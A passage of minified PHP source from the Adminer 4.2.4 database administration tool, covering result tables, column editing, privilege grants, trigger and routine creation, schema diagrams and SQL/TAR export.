Min_Driver($h);if(!is_object($h)||!$b->login($_GET["username"],get_password()))auth_error((is_string($h)?$h:lang(81)));if($Ka&&$_POST["token"])$_POST["token"]=$T;$n='';if($_POST){if(!verify_token()){$td="max_input_vars";$je=ini_get($td);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$x){$X=ini_get($x);if($X&&(!$je||$X<$je)){$td=$x;$je=$X;}}}$n=(!$_POST["token"]&&$je?lang(82,"'$td'"):lang(74).' '.lang(83));}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$n=lang(84,"'post_max_size'");if(isset($_GET["sql"]))$n.=' '.lang(85);}if(!ini_bool("session.use_cookies")||@ini_set("session.use_cookies",false)!==false)session_write_close();function
select($I,$i=null,$Ze=array(),$z=0){global$w;$Yd=array();$v=array();$f=array();$Ta=array();$Bh=array();$J=array();odd('');for($s=0;(!$z||$s<$z)&&($K=$I->fetch_row());$s++){if(!$s){echo"<table cellspacing='0' class='nowrap'>\n","<thead><tr>";for($Fd=0;$Fd<count($K);$Fd++){$o=$I->fetch_field();$C=$o->name;$Ye=$o->orgtable;$Xe=$o->orgname;$J[$o->table]=$Ye;if($Ze&&$w=="sql")$Yd[$Fd]=($C=="table"?"table=":($C=="possible_keys"?"indexes=":null));elseif($Ye!=""){if(!isset($v[$Ye])){$v[$Ye]=array();foreach(indexes($Ye,$i)as$u){if($u["type"]=="PRIMARY"){$v[$Ye]=array_flip($u["columns"]);break;}}$f[$Ye]=$v[$Ye];}if(isset($f[$Ye][$Xe])){unset($f[$Ye][$Xe]);$v[$Ye][$Xe]=$Fd;$Yd[$Fd]=$Ye;}}if($o->charsetnr==63)$Ta[$Fd]=true;$Bh[$Fd]=$o->type;echo"<th".($Ye!=""||$o->name!=$Xe?" title='".h(($Ye!=""?"$Ye.":"").$Xe)."'":"").">".h($C).($Ze?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($C))):"");}echo"</thead>\n";}echo"<tr".odd().">";foreach($K
as$x=>$X){if($X===null)$X="<i>NULL</i>";elseif($Ta[$x]&&!is_utf8($X))$X="<i>".lang(43,strlen($X))."</i>";elseif(!strlen($X))$X="&nbsp;";else{$X=h($X);if($Bh[$x]==254)$X="<code>$X</code>";}if(isset($Yd[$x])&&!$f[$Yd[$x]]){if($Ze&&$w=="sql"){$Q=$K[array_search("table=",$Yd)];$_=$Yd[$x].urlencode($Ze[$Q]!=""?$Ze[$Q]:$Q);}else{$_="edit=".urlencode($Yd[$x]);foreach($v[$Yd[$x]]as$lb=>$Fd)$_.="&where".urlencode("[".bracket_escape($lb)."]")."=".urlencode($K[$Fd]);}$X="<a href='".h(ME.$_)."'>$X</a>";}echo"<td>$X";}}echo($s?"</table>":"<p class='message'>".lang(12))."\n";return$J;}function
referencable_primary($tg){$J=array();foreach(table_status('',true)as$Tg=>$Q){if($Tg!=$tg&&fk_support($Q)){foreach(fields($Tg)as$o){if($o["primary"]){if($J[$Tg]){unset($J[$Tg]);break;}$J[$Tg]=$o;}}}}return$J;}function
textarea($C,$Y,$L=10,$ob=80){global$w;echo"<textarea name='$C' rows='$L' cols='$ob' class='sqlarea jush-$w' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y
as$X)echo
h($X[0])."\n\n\n";}else
echo
h($Y);echo"</textarea>";}function
edit_type($x,$o,$nb,$Oc=array()){global$Lg,$Bh,$Ih,$Me;$U=$o["type"];echo'<td><select name="',h($x),'[type]" class="type" onfocus="lastType = selectValue(this);" onchange="editingTypeChange(this);"',on_help("getTarget(event).value",1),'>';if($U&&!isset($Bh[$U])&&!isset($Oc[$U]))array_unshift($Lg,$U);if($Oc)$Lg[lang(86)]=$Oc;echo
optionlist($Lg,$U),'</select>
<td><input name="',h($x),'[length]" value="',h($o["length"]),'" size="3" onfocus="editingLengthFocus(this);"',(!$o["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":""),' onchange="editingLengthChange(this);" onkeyup="this.onchange();"><td class="options">';echo"<select name='".h($x)."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'").'><option value="">('.lang(87).')'.optionlist($nb,$o["collation"]).'</select>',($Ih?"<select name='".h($x)."[unsigned]'".(!$U||preg_match('~((^|[^o])int|float|double|decimal)$~',$U)?"":" class='hidden'").'><option>'.optionlist($Ih,$o["unsigned"]).'</select>':''),(isset($o['on_update'])?"<select name='".h($x)."[on_update]'".(preg_match('~timestamp|datetime~',$U)?"":" class='hidden'").'>'.optionlist(array(""=>"(".lang(88).")","CURRENT_TIMESTAMP"),$o["on_update"]).'</select>':''),($Oc?"<select name='".h($x)."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".lang(89).")".optionlist(explode("|",$Me),$o["on_delete"])."</select> ":" ");}function
process_length($y){global$pc;return(preg_match("~^\\s*\\(?\\s*$pc(?:\\s*,\\s*$pc)*+\\s*\\)?\\s*\$~",$y)&&preg_match_all("~$pc~",$y,$de)?"(".implode(",",$de[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$y)));}function
process_type($o,$mb="COLLATE"){global$Ih;return" $o[type]".process_length($o["length"]).(preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&in_array($o["unsigned"],$Ih)?" $o[unsigned]":"").(preg_match('~char|text|enum|set~',$o["type"])&&$o["collation"]?" $mb ".q($o["collation"]):"");}function
process_field($o,$_h){global$w;$Lb=$o["default"];return
array(idf_escape(trim($o["field"])),process_type($_h),($o["null"]?" NULL":" NOT NULL"),(isset($Lb)?" DEFAULT ".((preg_match('~time~',$o["type"])&&preg_match('~^CURRENT_TIMESTAMP$~i',$Lb))||($w=="sqlite"&&preg_match('~^CURRENT_(TIME|TIMESTAMP|DATE)$~i',$Lb))||($o["type"]=="bit"&&preg_match("~^([0-9]+|b'[0-1]+')\$~",$Lb))||($w=="pgsql"&&preg_match("~^[a-z]+\\(('[^']*')+\\)\$~",$Lb))?$Lb:q($Lb)):""),(preg_match('~timestamp|datetime~',$o["type"])&&$o["on_update"]?" ON UPDATE $o[on_update]":""),(support("comment")&&$o["comment"]!=""?" COMMENT ".q($o["comment"]):""),($o["auto_increment"]?auto_increment():null),);}function
type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$x=>$X){if(preg_match("~$x|$X~",$U))return" class='$x'";}}function
edit_fields($p,$nb,$U="TABLE",$Oc=array(),$sb=false){global$h,$ud;$p=array_values($p);echo'<thead><tr class="wrap">
';if($U=="PROCEDURE"){echo'<td>&nbsp;';}echo'<th>',($U=="TABLE"?lang(90):lang(91)),'<td>',lang(92),'<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;" onblur="editingLengthBlur(this);"></textarea>
<td>',lang(93),'<td>',lang(94);if($U=="TABLE"){echo'<td>NULL
<td><input type="radio" name="auto_increment_col" value=""><acronym title="',lang(56),'">AI</acronym>',doc_link(array('sql'=>"example-auto-increment.html",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),'<td>',lang(95),(support("comment")?"<td".($sb?"":" class='hidden'").">".lang(96):"");}echo'<td>',"<input type='image' class='icon' name='add[".(support("move_col")?0:count($p))."]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&amp;version=4.2.4' alt='+' title='".lang(97)."'>",'<script type="text/javascript">row_count = ',count($p),';</script>
</thead>
<tbody onkeydown="return editingKeydown(event);">
';foreach($p
as$s=>$o){$s++;$af=$o[($_POST?"orig":"field")];$Sb=(isset($_POST["add"][$s-1])||(isset($o["field"])&&!$_POST["drop_col"][$s]))&&(support("drop_col")||$af=="");echo'<tr',($Sb?"":" style='display: none;'"),'>
',($U=="PROCEDURE"?"<td>".html_select("fields[$s][inout]",explode("|",$ud),$o["inout"]):""),'<th>';if($Sb){echo'<input name="fields[',$s,'][field]" value="',h($o["field"]),'" onchange="editingNameChange(this);',($o["field"]!=""||count($p)>1?'':' editingAddRow(this);" onkeyup="if (this.value) editingAddRow(this);'),'" maxlength="64" autocapitalize="off">';}echo'<input type="hidden" name="fields[',$s,'][orig]" value="',h($af),'">
';edit_type("fields[$s]",$o,$nb,$Oc);if($U=="TABLE"){echo'<td>',checkbox("fields[$s][null]",1,$o["null"],"","","block"),'<td><label class="block"><input type="radio" name="auto_increment_col" value="',$s,'"';if($o["auto_increment"]){echo' checked';}?> onclick="var field = this.form['fields[' + this.value + '][field]']; if (!field.value) { field.value = 'id'; field.onchange(); }"></label><td><?php
echo
checkbox("fields[$s][has_default]",1,$o["has_default"]),'<input name="fields[',$s,'][default]" value="',h($o["default"]),'" onkeyup="keyupChange.call(this);" onchange="this.previousSibling.checked = true;">
',(support("comment")?"<td".($sb?"":" class='hidden'")."><input name='fields[$s][comment]' value='".h($o["comment"])."' maxlength='".($h->server_info>=5.5?1024:255)."'>":"");}echo"<td>",(support("move_col")?"<input type='image' class='icon' name='add[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&amp;version=4.2.4' alt='+' title='".lang(97)."' onclick='return !editingAddRow(this, 1);'>&nbsp;"."<input type='image' class='icon' name='up[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=up.gif&amp;version=4.2.4' alt='^' title='".lang(98)."'>&nbsp;"."<input type='image' class='icon' name='down[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=down.gif&amp;version=4.2.4' alt='v' title='".lang(99)."'>&nbsp;":""),($af==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$s]' src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&amp;version=4.2.4' alt='x' title='".lang(100)."' onclick=\"return !editingRemoveRow(this, 'fields\$1[field]');\">":""),"\n";}}function
process_fields(&$p){ksort($p);$D=0;if($_POST["up"]){$Qd=0;foreach($p
as$x=>$o){if(key($_POST["up"])==$x){unset($p[$x]);array_splice($p,$Qd,0,array($o));break;}if(isset($o["field"]))$Qd=$D;$D++;}}elseif($_POST["down"]){$Qc=false;foreach($p
as$x=>$o){if(isset($o["field"])&&$Qc){unset($p[key($_POST["down"])]);array_splice($p,$D,0,array($Qc));break;}if(key($_POST["down"])==$x)$Qc=$o;$D++;}}elseif($_POST["add"]){$p=array_values($p);array_splice($p,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum($B){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($B[0][0].$B[0][0],$B[0][0],substr($B[0],1,-1))),'\\'))."'";}function
grant($Vc,$Gf,$f,$Le){if(!$Gf)return
true;if($Gf==array("ALL PRIVILEGES","GRANT OPTION"))return($Vc=="GRANT"?queries("$Vc ALL PRIVILEGES$Le WITH GRANT OPTION"):queries("$Vc ALL PRIVILEGES$Le")&&queries("$Vc GRANT OPTION$Le"));return
queries("$Vc ".preg_replace('~(GRANT OPTION)\\([^)]*\\)~','\\1',implode("$f, ",$Gf).$f).$Le);}function
drop_create($Yb,$j,$Zb,$fh,$bc,$A,$oe,$me,$ne,$Ie,$ze){if($_POST["drop"])query_redirect($Yb,$A,$oe);elseif($Ie=="")query_redirect($j,$A,$ne);elseif($Ie!=$ze){$Cb=queries($j);queries_redirect($A,$me,$Cb&&queries($Yb));if($Cb)queries($Zb);}else
queries_redirect($A,$me,queries($fh)&&queries($bc)&&queries($Yb)&&queries($j));}function
create_trigger($Le,$K){global$w;$kh=" $K[Timing] $K[Event]".($K["Event"]=="UPDATE OF"?" ".idf_escape($K["Of"]):"");return"CREATE TRIGGER ".idf_escape($K["Trigger"]).($w=="mssql"?$Le.$kh:$kh.$Le).rtrim(" $K[Type]\n$K[Statement]",";").";";}function
create_routine($hg,$K){global$ud;$O=array();$p=(array)$K["fields"];ksort($p);foreach($p
as$o){if($o["field"]!="")$O[]=(preg_match("~^($ud)\$~",$o["inout"])?"$o[inout] ":"").idf_escape($o["field"]).process_type($o,"CHARACTER SET");}return"CREATE $hg ".idf_escape(trim($K["name"]))." (".implode(", ",$O).")".(isset($_GET["function"])?" RETURNS".process_type($K["returns"],"CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").rtrim("\n$K[definition]",";").";";}function
remove_definer($H){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\\1)',logged_user()).'`~','\\1',$H);}function
format_foreign_key($q){global$Me;return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$q["source"])).") REFERENCES ".table($q["table"])." (".implode(", ",array_map('idf_escape',$q["target"])).")".(preg_match("~^($Me)\$~",$q["on_delete"])?" ON DELETE $q[on_delete]":"").(preg_match("~^($Me)\$~",$q["on_update"])?" ON UPDATE $q[on_update]":"");}function
tar_file($Ic,$ph){$J=pack("a100a8a8a8a12a12",$Ic,644,0,0,decoct($ph->size),decoct(time()));$fb=8*32;for($s=0;$s<strlen($J);$s++)$fb+=ord($J[$s]);$J.=sprintf("%06o",$fb)."\0 ";echo$J,str_repeat("\0",512-strlen($J));$ph->send();echo
str_repeat("\0",511-($ph->size+511)%512);}function
ini_bytes($td){$X=ini_get($td);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function
doc_link($rf){global$w,$h;$Mh=array('sql'=>"http://dev.mysql.com/doc/refman/".substr($h->server_info,0,3)."/en/",'sqlite'=>"http://www.sqlite.org/",'pgsql'=>"http://www.postgresql.org/docs/".substr($h->server_info,0,3)."/static/",'mssql'=>"http://msdn.microsoft.com/library/",'oracle'=>"http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/",);return($rf[$w]?"<a href='$Mh[$w]$rf[$w]' target='_blank' rel='noreferrer'><sup>?</sup></a>":"");}function
ob_gzencode($P){return
gzencode($P);}function
db_size($m){global$h;if(!$h->select_db($m))return"?";$J=0;foreach(table_status()as$R)$J+=$R["Data_length"]+$R["Index_length"];return
format_number($J);}function
set_utf8mb4($j){global$h;static$O=false;if(!$O&&preg_match('~\butf8mb4~i',$j)){$O=true;echo"SET NAMES ".charset($h).";\n\n";}}function
connect_error(){global$b,$h,$T,$n,$Xb;if(DB!=""){header("HTTP/1.1 404 Not Found");page_header(lang(35).": ".h(DB),lang(101),true);}else{if($_POST["db"]&&!$n)queries_redirect(substr(ME,0,-1),lang(102),drop_databases($_POST["db"]));page_header(lang(103),$n,false);echo"<p class='links'>\n";foreach(array('database'=>lang(104),'privileges'=>lang(63),'processlist'=>lang(105),'variables'=>lang(106),'status'=>lang(107),)as$x=>$X){if(support($x))echo"<a href='".h(ME)."$x='>$X</a>\n";}echo"<p>".lang(108,$Xb[DRIVER],"<b>".h($h->server_info)."</b>","<b>$h->extension</b>")."\n","<p>".lang(109,"<b>".h(logged_user())."</b>")."\n";$l=$b->databases();if($l){$og=support("scheme");$nb=collations();echo"<form action='' method='post'>\n","<table cellspacing='0' class='checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n","<thead><tr>".(support("database")?"<td>&nbsp;":"")."<th>".lang(35)." - <a href='".h(ME)."refresh=1'>".lang(110)."</a>"."<td>".lang(111)."<td>".lang(112)."<td>".lang(113)." - <a href='".h(ME)."dbsize=1' onclick=\"return !ajaxSetHtml('".h(js_escape(ME))."script=connect');\">".lang(114)."</a>"."</thead>\n";$l=($_GET["dbsize"]?count_tables($l):array_flip($l));foreach($l
as$m=>$S){$gg=h(ME)."db=".urlencode($m);echo"<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$m,in_array($m,(array)$_POST["db"])):""),"<th><a href='$gg'>".h($m)."</a>";$d=nbsp(db_collation($m,$nb));echo"<td>".(support("database")?"<a href='$gg".($og?"&amp;ns=":"")."&amp;database=' title='".lang(59)."'>$d</a>":$d),"<td align='right'><a href='$gg&amp;schema=' id='tables-".h($m)."' title='".lang(62)."'>".($_GET["dbsize"]?$S:"?")."</a>","<td align='right' id='size-".h($m)."'>".($_GET["dbsize"]?db_size($m):"?"),"\n";}echo"</table>\n",(support("database")?"<fieldset><legend>".lang(115)." <span id='selected'></span></legend><div>\n"."<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^db/));\">\n"."<input type='submit' name='drop' value='".lang(116)."'".confirm().">\n"."</div></fieldset>\n":""),"<script type='text/javascript'>tableCheck();</script>\n","<input type='hidden' name='token' value='$T'>\n","</form>\n";}}page_footer("db");}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$h->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header(lang(68).": ".h($_GET["ns"]),lang(117),true);page_footer("ns");exit;}}$Me="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class
TmpFile{var$handler;var$size;function
__construct(){$this->handler=tmpfile();}function
write($xb){$this->size+=strlen($xb);fwrite($this->handler,$xb);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$pc="'(?:''|[^'\\\\]|\\\\.)*'";$ud="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$p=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$M=array(idf_escape($_GET["field"]));$I=$Wb->select($a,$M,array(where($_GET,$p)),$M);$K=($I?$I->fetch_row():array());echo$K[0];exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$p=fields($a);if(!$p)$n=error();$R=table_status1($a,true);page_header(($p&&is_view($R)?lang(118):lang(119)).": ".h($a),$n);$b->selectLinks($R);$rb=$R["Comment"];if($rb!="")echo"<p>".lang(96).": ".h($rb)."\n";if($p){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(120)."<td>".lang(92).(support("comment")?"<td>".lang(96):"")."</thead>\n";foreach($p
as$o){echo"<tr".odd()."><th>".h($o["field"]),"<td><span title='".h($o["collation"])."'>".h($o["full_type"])."</span>",($o["null"]?" <i>NULL</i>":""),($o["auto_increment"]?" <i>".lang(56)."</i>":""),(isset($o["default"])?" <span title='".lang(95)."'>[<b>".h($o["default"])."</b>]</span>":""),(support("comment")?"<td>".nbsp($o["comment"]):""),"\n";}echo"</table>\n";}if(!is_view($R)){if(support("indexes")){echo"<h3 id='indexes'>".lang(121)."</h3>\n";$v=indexes($a);if($v){echo"<table cellspacing='0'>\n";foreach($v
as$C=>$u){ksort($u["columns"]);$Df=array();foreach($u["columns"]as$x=>$X)$Df[]="<i>".h($X)."</i>".($u["lengths"][$x]?"(".$u["lengths"][$x].")":"").($u["descs"][$x]?" DESC":"");echo"<tr title='".h($C)."'><th>$u[type]<td>".implode(", ",$Df)."\n";}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.lang(122)."</a>\n";}if(fk_support($R)){echo"<h3 id='foreign-keys'>".lang(86)."</h3>\n";$Oc=foreign_keys($a);if($Oc){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(123)."<td>".lang(124)."<td>".lang(89)."<td>".lang(88)."<td>&nbsp;</thead>\n";foreach($Oc
as$C=>$q){echo"<tr title='".h($C)."'>","<th><i>".implode("</i>, <i>",array_map('h',$q["source"]))."</i>","<td><a href='".h($q["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($q["db"]),ME):($q["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($q["ns"]),ME):ME))."table=".urlencode($q["table"])."'>".($q["db"]!=""?"<b>".h($q["db"])."</b>.":"").($q["ns"]!=""?"<b>".h($q["ns"])."</b>.":"").h($q["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$q["target"]))."</i>)","<td>".nbsp($q["on_delete"])."\n","<td>".nbsp($q["on_update"])."\n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($C)).'">'.lang(125).'</a>';}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.lang(126)."</a>\n";}}if(support(is_view($R)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".lang(127)."</h3>\n";$zh=triggers($a);if($zh){echo"<table cellspacing='0'>\n";foreach($zh
as$x=>$X)echo"<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<th>".h($x)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($x))."'>".lang(125)."</a>\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.lang(128)."</a>\n";}}elseif(isset($_GET["schema"])){page_header(lang(62),"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$Vg=array();$Wg=array();$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$de,PREG_SET_ORDER);foreach($de
as$s=>$B){$Vg[$B[1]]=array($B[2],$B[3]);$Wg[]="\n\t'".js_escape($B[1])."': [ $B[2], $B[3] ]";}$rh=0;$Qa=-1;$ng=array();$Vf=array();$Ud=array();foreach(table_status('',true)as$Q=>$R){if(is_view($R))continue;$wf=0;$ng[$Q]["fields"]=array();foreach(fields($Q)as$C=>$o){$wf+=1.25;$o["pos"]=$wf;$ng[$Q]["fields"][$C]=$o;}$ng[$Q]["pos"]=($Vg[$Q]?$Vg[$Q]:array($rh,0));foreach($b->foreignKeys($Q)as$X){if(!$X["db"]){$Sd=$Qa;if($Vg[$Q][1]||$Vg[$X["table"]][1])$Sd=min(floatval($Vg[$Q][1]),floatval($Vg[$X["table"]][1]))-1;else$Qa-=.1;while($Ud[(string)$Sd])$Sd-=.0001;$ng[$Q]["references"][$X["table"]][(string)$Sd]=array($X["source"],$X["target"]);$Vf[$X["table"]][$Q][(string)$Sd]=$X["target"];$Ud[(string)$Sd]=true;}}$rh=max($rh,$ng[$Q]["pos"][0]+2.5+$wf);}echo'<div id="schema" style="height: ',$rh,'em;" onselectstart="return false;">
<script type="text/javascript">
var tablePos = {',implode(",",$Wg)."\n",'};
var em = document.getElementById(\'schema\').offsetHeight / ',$rh,';
document.onmousemove = schemaMousemove;
document.onmouseup = function (ev) {
	schemaMouseup(ev, \'',js_escape(DB),'\');
};
</script>
';foreach($ng
as$C=>$Q){echo"<div class='table' style='top: ".$Q["pos"][0]."em; left: ".$Q["pos"][1]."em;' onmousedown='schemaMousedown(this, event);'>",'<a href="'.h(ME).'table='.urlencode($C).'"><b>'.h($C)."</b></a>";foreach($Q["fields"]as$o){$X='<span'.type_class($o["type"]).' title="'.h($o["full_type"].($o["null"]?" NULL":'')).'">'.h($o["field"]).'</span>';echo"<br>".($o["primary"]?"<i>$X</i>":$X);}foreach((array)$Q["references"]as$ch=>$Wf){foreach($Wf
as$Sd=>$Sf){$Td=$Sd-$Vg[$C][1];$s=0;foreach($Sf[0]as$Dg)echo"\n<div class='references' title='".h($ch)."' id='refs$Sd-".($s++)."' style='left: $Td"."em; top: ".$Q["fields"][$Dg]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$Td)."em;'></div></div>";}}foreach((array)$Vf[$C]as$ch=>$Wf){foreach($Wf
as$Sd=>$f){$Td=$Sd-$Vg[$C][1];$s=0;foreach($f
as$bh)echo"\n<div class='references' title='".h($ch)."' id='refd$Sd-".($s++)."' style='left: $Td"."em; top: ".$Q["fields"][$bh]["pos"]."em; height: 1.25em; background: url(".h(preg_replace("~\\?.*~","",ME))."?file=arrow.gif) no-repeat right center;&amp;version=4.2.4'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$Td)."em;'></div></div>";}}echo"\n</div>\n";}foreach($ng
as$C=>$Q){foreach((array)$Q["references"]as$ch=>$Wf){foreach($Wf
as$Sd=>$Sf){$se=$rh;$he=-10;foreach($Sf[0]as$x=>$Dg){$xf=$Q["pos"][0]+$Q["fields"][$Dg]["pos"];$yf=$ng[$ch]["pos"][0]+$ng[$ch]["fields"][$Sf[1][$x]]["pos"];$se=min($se,$xf,$yf);$he=max($he,$xf,$yf);}echo"<div class='references' id='refl$Sd' style='left: $Sd"."em; top: $se"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($he-$se)."em;'></div></div>\n";}}}echo'</div>
<p class="links"><a href="',h(ME."schema=".urlencode($ea)),'" id="schema-link">',lang(129),'</a>
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$n){$_b="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$x)$_b.="&$x=".urlencode($_POST[$x]);cookie("adminer_export",substr($_b,1));$S=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$Ac=dump_headers((count($S)==1?key($S):DB),(DB==""||count($S)>1));$Bd=preg_match('~sql~',$_POST["format"]);if($Bd){echo"-- Adminer $ia ".$Xb[DRIVER]." dump\n\n";if($w=="sql"){echo"SET NAMES utf8;
SET time_zone = '+00:00';
".($_POST["data_style"]?"SET foreign_key_checks = 0;
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
";$h->query("SET time_zone = '+00:00';");}}$Mg=$_POST["db_style"];$l=array(DB);if(DB==""){$l=$_POST["databases"];if(is_string($l))$l=explode("\n",rtrim(str_replace("\r","",$l),"\n"));}foreach((array)$l
as$m){$b->dumpDatabase($m);if($h->select_db($m)){if($Bd&&preg_match('~CREATE~',$Mg)&&($j=$h->result("SHOW CREATE DATABASE ".idf_escape($m),1))){set_utf8mb4($j);if($Mg=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($m).";\n";echo"$j;\n";}if($Bd){if($Mg)echo
use_sql($m).";\n\n";$ff="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$hg){foreach(get_rows("SHOW $hg STATUS WHERE Db = ".q($m),null,"-- ")as$K){$j=remove_definer($h->result("SHOW CREATE $hg ".idf_escape($K["Name"]),2));set_utf8mb4($j);$ff.=($Mg!='DROP+CREATE'?"DROP $hg IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$j;;\n\n";}}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$K){$j=remove_definer($h->result("SHOW CREATE EVENT ".idf_escape($K["Name"]),3));set_utf8mb4($j);$ff.=($Mg!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$j;;\n\n";}}if($ff)echo"DELIMITER ;;\n\n$ff"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$Yh=array();foreach(table_status('',true)as$C=>$R){$Q=(DB==""||in_array($C,(array)$_POST["tables"]));$Eb=(DB==""||in_array($C,(array)$_POST["data"]));if($Q||$Eb){if($Ac=="tar"){$ph=new
TmpFile;ob_start(array($ph,'write'),1e5);}$b->dumpTable($C,($Q?$_POST["table_style"]:""),(is_view($R)?2:0));if(is_view($R))$Yh[]=$C;elseif($Eb){$p=fields($C);$b->dumpData($C,$_POST["data_style"],"SELECT *".convert_fields($p,$p)." FROM ".table($C));}if($Bd&&$_POST["triggers"]&&$Q&&($zh=trigger_sql($C,$_POST["table_style"])))echo"\nDELIMITER ;;\n$zh\nDELIMITER ;\n";if($Ac=="tar"){ob_end_flush();tar_file((DB!=""?"":"$m/")."$C.csv",$ph);}elseif($Bd)echo"\n";}}foreach($Yh
as$Xh)$b->dumpTable($Xh,$_POST["table_style"],1);if($Ac=="tar")echo
pack("x512");}}}if($Bd)echo"-- ".$h->result("SELECT NOW()")."\n";exit;}page_header(lang(65),$n,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
<form action="" method="post">
<table cellspacing="0">
';$Ib=array('','USE','DROP+CREATE','CREATE');$Xg=array('','DROP+CREATE','CREATE');$Fb=array('','TRUNCATE+INSERT','INSERT');if($w=="sql")$Fb[]='INSERT+UPDATE';parse_str($_COOKIE["adminer_export"],$K);if(!$K)$K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($K["events"])){$K["routines"]=$K["events"]=($_GET["dump"]=="");$K["triggers"]=$K["table_style"];}echo"<tr><th>".lang(130)."<td>".html_select("output",$b->dumpOutput(),$K["output"],0)."\n";echo"<tr><th>".lang(131)."<td>".html_select("format",$b->dumpFormat(),$K["format"],0)."\n";echo($w=="sqlite"?"":"<tr><th>".lang(35)."<td>".html_select('db_style',$Ib,$K["db_style"]).(support("routine")?checkbox("routines",1,$K["routines"],lang(132)):"").(support("event")?checkbox("events",1,$K["events"],lang(133)):"")),"<tr><th>".lang(112)."<td>".html_select('table_style',$Xg,$K["table_style"]).checkbox("auto_increment",1,$K["auto_increment"],lang(56)).(support("trigger")?checkbox("triggers",1,$K["triggers"],lang(127)):""),"<tr><th>".lang(134)."<td>".html_select('data_style',$Fb,$K["data_style"]),'</tabl